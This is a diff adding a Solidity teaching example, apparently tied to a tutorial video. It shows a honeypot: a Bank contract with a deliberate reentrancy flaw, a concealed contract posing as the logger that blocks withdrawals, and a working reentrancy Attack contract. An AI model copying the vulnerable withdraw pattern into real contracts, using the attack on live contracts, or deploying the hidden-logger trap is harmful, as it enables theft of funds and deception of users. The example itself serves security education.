feat: https://youtu.be/d0q5zVnNLWs?si=oellPxshjibLuV8v

HoneyPot.sol

@@ -0,0 +1,77 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.6.10;
+
+/*
+Honeypot - A honeypot is a trap to catch hackers
+Example code - Reentrancy and hiding code
+*/
+
+contract Bank {
+    mapping(address => uint) public balances;
+    Logger logger;
+
+    constructor(Logger _logger) public {
+        logger = Logger(_logger);
+    }
+
+    function deposit() public payable {
+        balances[msg.sender] += msg.value;
+        logger.log(msg.sender, msg.value, "Deposit");
+    }
+
+    function withdraw(uint _amount) public {
+        require(_amount <= balances[msg.sender], "Insufficient funds");
+
+        (bool sent, ) = msg.sender.call{value: _amount}("");
+        require(sent, "Failed to send Ether");
+
+        balances[msg.sender] -= _amount;
+
+        logger.log(msg.sender, _amount, "Withdraw");
+    }
+}
+
+contract Logger {
+    event Log(address caller, uint amount, string action);
+
+    function log(address _caller, uint _amount, string memory _action) public {
+        emit Log(_caller, _amount, _action);
+    }
+}
+
+// In a separate file
+contract HoneyPot {
+    function log(address _caller, uint _amount, string memory _action) public {
+        // if (_action == "Withdraw") { // can't compare string in solidity, need to compare hash
+        if (equal(_action, "Withdraw")) {
+            revert("It's a trap");
+        }
+    }
+
+    function equal(
+        string memory _a,
+        string memory _b
+    ) public pure returns (bool) {
+        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
+    }
+}
+
+// In a separate file
+contract Attack {
+    Bank bank;
+
+    constructor(Bank _bank) public {
+        bank = Bank(_bank);
+    }
+
+    fallback() external payable {
+        if (address(bank).balance >= 1 ether) {
+            bank.withdraw(1 ether);
+        }
+    }
+
+    function attack() public payable {
+        bank.deposit{value: 1 ether}();
+        bank.withdraw(1 ether);
+    }
+}